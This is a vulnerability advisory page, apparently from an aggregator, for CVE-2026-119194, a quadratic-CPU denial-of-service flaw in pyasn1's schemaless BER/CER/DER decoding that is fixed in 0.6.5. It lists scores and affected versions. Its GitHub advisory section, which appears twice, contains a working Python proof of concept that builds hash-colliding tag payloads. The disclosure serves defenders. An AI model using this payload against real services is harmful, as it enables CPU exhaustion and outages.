CVE-2026-119194
pyasn1: Quadratic CPU use in schemaless BER/CER/DER container decoding
pyasn1 is a generic ASN.1 library for Python. From 0.3.3 until 0.6.5, schemaless container decoding stores every decoded component's TagSet in a growing set even though only one-versus-multiple tag types must be distinguished. Attacker-controlled BER, CER, or DER input contains many distinct long tag IDs whose TagSet hashes collide. Each later set insertion compares against an increasing number of earlier colliding tags in ConstructedPayloadDecoderBase._decodeComponentsSchemaless, producing quadratic CPU work while decoded values and order remain valid. Repeated inputs can exhaust decoder CPU and reduce service availability. This issue is fixed in version 0.6.5.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
7.5
pyasn1: Quadratic CPU use in schemaless BER/CER/DER container decoding
pyasn1 is a generic ASN.1 library for Python. From 0.3.3 until 0.6.5, schemaless container decoding stores every decoded component's TagSet in a growing set even though only one-versus-multiple tag types must be distinguished. Attacker-controlled BER, CER, or DER input contains many distinct long tag IDs whose TagSet hashes collide. Each later set insertion compares against an increasing number of earlier colliding tags in ConstructedPayloadDecoderBase._decodeComponentsSchemaless, producing quadratic CPU work while decoded values and order remain valid. Repeated inputs can exhaust decoder CPU and reduce service availability. This issue is fixed in version 0.6.5.
- Record
CVE-2026-119194- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-407
- Updated
- 2026-11-03
EUVDEUVD-2026-113350
7.5
pyasn1 is a generic ASN.1 library for Python. From 0.3.3 until 0.6.5, schemaless container decoding stores every decoded component's TagSet in a growing set even though only one-versus-multiple tag types must be distinguished. Attacker-controlled BER, CER, or DER input contains many distinct long tag IDs whose TagSet hashes collide. Each later set insertion compares against an increasing number of earlier colliding tags in ConstructedPayloadDecoderBase._decodeComponentsSchemaless, producing quadratic CPU work while decoded values and order remain valid. Repeated inputs can exhaust decoder CPU and reduce service availability. This issue is fixed in version 0.6.5.
- Record
EUVD-2026-113350- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-03
GitHub AdvisoriesGHSA-fm9c-5rcf-2q5p
7.5
pyasn1 has quadratic CPU use in schemaless BER/CER/DER container decoding
Summary
When an application decodes attacker-controlled BER, CER, or DER data without an ASN.1 schema, a container with many distinct long tag IDs can cause quadratic CPU use. Repeated inputs can exhaust CPU and reduce service availability.
Details
ConstructedPayloadDecoderBase._decodeComponentsSchemaless inserts every decoded component’s TagSet into a growing set, although it only needs to distinguish one tag set from two or more. Attacker-chosen tag IDs can have colliding TagSet hashes, making each later insertion compare against an increasing number of earlier tags. This path is present in v0.6.4 and is inherited by the CER and DER decoders. The proposed fix stops growing the classification set after it contains two distinct tag sets, while retaining every decoded component and its order. On v0.6.4 with CPython 3.12.10, increasing the collision input from 3,200 to 6,400 components raised decode CPU time from 0.438 to 1.747 seconds; a comparable control rose from 0.031 to 0.065 seconds. Both inputs decoded successfully with the expected values and an empty remainder.
Proof of concept
Run this outside the repository checkout in a fresh Python 3.12 environment with pyasn1==0.6.4 installed:
import sys
import time
from pyasn1.codec.ber import decoder
from pyasn1.type import univ
def enc_tag(tag_id):
groups = [tag_id & 0x7f]
tag_id >>= 7
while tag_id:
groups.append((tag_id & 0x7f) | 0x80)
tag_id >>= 7
return b'\xbf' + bytes(reversed(groups))
def payload(tag_ids):
body = b''.join(enc_tag(tag_id) + b'\x03\x04\x01A'
for tag_id in tag_ids)
length = len(body).to_bytes((len(body).bit_length() + 7) // 8, 'big')
return b'\x30' + bytes([0x80 | len(length)]) + length + body
for count in (3200, 6400):
cases = (
("collision", [32 + i * sys.hash_info.modulus
for i in range(count)]),
("control", [(1 << 70) + i for i in range(count)]),
)
for name, tag_ids in cases:
wire = payload(tag_ids)
start = time.process_time()
value, remainder = decoder.decode(wire)
cpu_seconds = time.process_time() - start
assert type(value) is univ.Sequence
assert len(value) == count and remainder == b''
for position, tag_id in enumerate(tag_ids):
component = value.getComponentByPosition(position)
assert component.asOctets() == b'A'
assert component.tagSet[-1].tagId == tag_id
print(count, name, len(wire), round(cpu_seconds, 3))
Impact
Applications that pass attacker-controlled bytes to schemaless BER, CER, or DER decoding can spend disproportionate CPU time on a relatively small, valid input. The demonstrated impact is availability; no confidentiality or integrity impact was observed.
- Record
GHSA-fm9c-5rcf-2q5p- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-407
- Updated
- 2026-11-02
NVD
7.5
pyasn1 is a generic ASN.1 library for Python. From 0.3.3 until 0.6.5, schemaless container decoding stores every decoded component's TagSet in a growing set even though only one-versus-multiple tag types must be distinguished. Attacker-controlled BER, CER, or DER input contains many distinct long tag IDs whose TagSet hashes collide. Each later set insertion compares against an increasing number of earlier colliding tags in ConstructedPayloadDecoderBase._decodeComponentsSchemaless, producing quadratic CPU work while decoded values and order remain valid. Repeated inputs can exhaust decoder CPU and reduce service availability. This issue is fixed in version 0.6.5.
- Record
CVE-2026-119194- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-407
- Updated
- 2026-11-03
OSV
7.5
pyasn1: Quadratic CPU use in schemaless BER/CER/DER container decoding
pyasn1 is a generic ASN.1 library for Python. From 0.3.3 until 0.6.5, schemaless container decoding stores every decoded component's TagSet in a growing set even though only one-versus-multiple tag types must be distinguished. Attacker-controlled BER, CER, or DER input contains many distinct long tag IDs whose TagSet hashes collide. Each later set insertion compares against an increasing number of earlier colliding tags in ConstructedPayloadDecoderBase._decodeComponentsSchemaless, producing quadratic CPU work while decoded values and order remain valid. Repeated inputs can exhaust decoder CPU and reduce service availability. This issue is fixed in version 0.6.5.
- Record
CVE-2026-119194- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-407
- Updated
- 2026-11-07
OSVDEBIAN-CVE-2026-119194
7.5
pyasn1 is a generic ASN.1 library for Python. From 0.3.3 until 0.6.5, schemaless container decoding stores every decoded component's TagSet in a growing set even though only one-versus-multiple tag types must be distinguished. Attacker-controlled BER, CER, or DER input contains many distinct long tag IDs whose TagSet hashes collide. Each later set insertion compares against an increasing number of earlier colliding tags in ConstructedPayloadDecoderBase._decodeComponentsSchemaless, producing quadratic CPU work while decoded values and order remain valid. Repeated inputs can exhaust decoder CPU and reduce service availability. This issue is fixed in version 0.6.5.
- Record
DEBIAN-CVE-2026-119194- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-04
Show 4 moreShow less
OSVGHSA-fm9c-5rcf-2q5p
7.5
pyasn1 has quadratic CPU use in schemaless BER/CER/DER container decoding
Summary
When an application decodes attacker-controlled BER, CER, or DER data without an ASN.1 schema, a container with many distinct long tag IDs can cause quadratic CPU use. Repeated inputs can exhaust CPU and reduce service availability.
Details
ConstructedPayloadDecoderBase._decodeComponentsSchemaless inserts every decoded component’s TagSet into a growing set, although it only needs to distinguish one tag set from two or more. Attacker-chosen tag IDs can have colliding TagSet hashes, making each later insertion compare against an increasing number of earlier tags. This path is present in v0.6.4 and is inherited by the CER and DER decoders. The proposed fix stops growing the classification set after it contains two distinct tag sets, while retaining every decoded component and its order. On v0.6.4 with CPython 3.12.10, increasing the collision input from 3,200 to 6,400 components raised decode CPU time from 0.438 to 1.747 seconds; a comparable control rose from 0.031 to 0.065 seconds. Both inputs decoded successfully with the expected values and an empty remainder.
Proof of concept
Run this outside the repository checkout in a fresh Python 3.12 environment with pyasn1==0.6.4 installed:
import sys
import time
from pyasn1.codec.ber import decoder
from pyasn1.type import univ
def enc_tag(tag_id):
groups = [tag_id & 0x7f]
tag_id >>= 7
while tag_id:
groups.append((tag_id & 0x7f) | 0x80)
tag_id >>= 7
return b'\xbf' + bytes(reversed(groups))
def payload(tag_ids):
body = b''.join(enc_tag(tag_id) + b'\x03\x04\x01A'
for tag_id in tag_ids)
length = len(body).to_bytes((len(body).bit_length() + 7) // 8, 'big')
return b'\x30' + bytes([0x80 | len(length)]) + length + body
for count in (3200, 6400):
cases = (
("collision", [32 + i * sys.hash_info.modulus
for i in range(count)]),
("control", [(1 << 70) + i for i in range(count)]),
)
for name, tag_ids in cases:
wire = payload(tag_ids)
start = time.process_time()
value, remainder = decoder.decode(wire)
cpu_seconds = time.process_time() - start
assert type(value) is univ.Sequence
assert len(value) == count and remainder == b''
for position, tag_id in enumerate(tag_ids):
component = value.getComponentByPosition(position)
assert component.asOctets() == b'A'
assert component.tagSet[-1].tagId == tag_id
print(count, name, len(wire), round(cpu_seconds, 3))
Impact
Applications that pass attacker-controlled bytes to schemaless BER, CER, or DER decoding can spend disproportionate CPU time on a relatively small, valid input. The demonstrated impact is availability; no confidentiality or integrity impact was observed.
- Record
GHSA-fm9c-5rcf-2q5p- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-407
- Updated
- 2026-11-02
OSVROOT-APP-PYPI-CVE-2026-119194
7.5
CVE-2026-119194 in pyasn1 - Patched by Root
Root has patched CVE-2026-119194 in the pyasn1 package for Root:PyPI. Multiple fixed versions available.
- Record
ROOT-APP-PYPI-CVE-2026-119194- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-05
OSVUBUNTU-CVE-2026-119194
7.5
pyasn1 is a generic ASN.1 library for Python. From 0.3.3 until 0.6.5, schemaless container decoding stores every decoded component's TagSet in a growing set even though only one-versus-multiple tag types must be distinguished. Attacker-controlled BER, CER, or DER input contains many distinct long tag IDs whose TagSet hashes collide. Each later set insertion compares against an increasing number of earlier colliding tags in ConstructedPayloadDecoderBase._decodeComponentsSchemaless, producing quadratic CPU work while decoded values and order remain valid. Repeated inputs can exhaust decoder CPU and reduce service availability. This issue is fixed in version 0.6.5.
- Record
UBUNTU-CVE-2026-119194- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-05
OSVAZL-112460 No score
CVE-2026-119194 affecting package python-pyasn1 0.4.8-3
pyasn1 is a generic ASN.1 library for Python. From 0.3.3 until 0.6.5, schemaless container decoding stores every decoded component's TagSet in a growing set even though only one-versus-multiple tag types must be distinguished. Attacker-controlled BER, CER, or DER input contains many distinct long tag IDs whose TagSet hashes collide. Each later set insertion compares against an increasing number of earlier colliding tags in ConstructedPayloadDecoderBase._decodeComponentsSchemaless, producing quadratic CPU work while decoded values and order remain valid. Repeated inputs can exhaust decoder CPU and reduce service availability. This issue is fixed in version 0.6.5.
- Record
AZL-112460- Updated
- 2026-11-05
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
pyasn1PyPI |
0.3.3 up to 0.6.5 | 0.6.5 |
python-pyasn1Azure Linux:3 |
through 0.4.8-3 | None known |
pyasn1Debian:12 |
All versions, plus listed versions 0.4.8-30.4.8-3+deb12u10.4.8-3+deb12u20.4.8-3+deb12u30.4.8-4 Show 9 moreShow less0.5.1-10.6.0-10.6.1-10.6.2-10.6.2-1~bpo13+10.6.3-10.6.4-10.6.4-1~bpo13+10.6.5-1 |
None known |
pyasn1Debian:13 |
All versions, plus listed versions 0.6.1-10.6.1-1+deb13u10.6.1-1+deb13u20.6.1-1+deb13u30.6.2-1 Show 5 moreShow less0.6.2-1~bpo13+10.6.3-10.6.4-10.6.4-1~bpo13+10.6.5-1 |
None known |
pyasn1Debian:14 |
before 0.6.5-1, plus listed versions 0.6.1-10.6.2-10.6.2-1~bpo13+10.6.3-10.6.4-10.6.4-1~bpo13+1 |
0.6.5-1 |
pyasn1PyPI |
0.3.3 up to 0.6.5, plus listed versions 0.3.40.3.50.3.60.3.70.4.1 Show 14 moreShow less0.4.20.4.30.4.40.4.50.4.60.4.70.4.80.5.00.5.10.6.00.6.10.6.20.6.30.6.4 |
0.6.5 |
pyasn1Root:PyPI |
before 0.6.4+aikido.2 | 0.6.4+aikido.20.6.4+aikido.30.6.1+aikido.7 |
pyasn1Ubuntu:Pro:14.04:LTS |
All versions, plus listed versions 0.1.4-0ubuntu10.1.7-1ubuntu10.1.7-1ubuntu20.1.7-1ubuntu2.10.1.7-1ubuntu2.1+esm1 |
None known |
pyasn1Ubuntu:Pro:16.04:LTS |
All versions, plus listed versions 0.1.8-20.1.9-10.1.9-1ubuntu0.1~esm1 |
None known |
pyasn1Ubuntu:Pro:18.04:LTS |
All versions, plus listed versions 0.1.9-20.4.2-30.4.2-3ubuntu0.18.04.1~esm1 |
None known |
Show 5 moreShow less
| Package | Affected | Fixed |
|---|---|---|
pyasn1Ubuntu:Pro:20.04:LTS |
All versions, plus listed versions 0.4.2-30.4.2-3build10.4.2-3ubuntu0.20.04.1~esm1 |
None known |
pyasn1Ubuntu:22.04:LTS |
All versions, plus listed versions 0.4.8-10.4.8-1ubuntu0.10.4.8-1ubuntu0.20.4.8-1ubuntu0.3 |
None known |
pyasn1Ubuntu:24.04:LTS |
All versions, plus listed versions 0.4.8-40.4.8-4ubuntu0.10.4.8-4ubuntu0.20.4.8-4ubuntu0.3 |
None known |
pyasn1Ubuntu:26.10 |
All versions, plus listed versions 0.6.3-10.6.4-1 |
None known |
pyasn1Ubuntu:26.04:LTS |
All versions, plus listed versions 0.6.1-10.6.1-1build10.6.2-10.6.3-10.6.3-1ubuntu0.1 |
None known |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected | NVD, OSV | |
| references | CVE List | |
| facts | EUVD | |
| affected | OSV | |
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-119194 is a high vulnerability (CVSS 7.5) in Pyasn1, published October 29, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.43%, the 37th percentile. Fixed in pyasn1 0.6.5.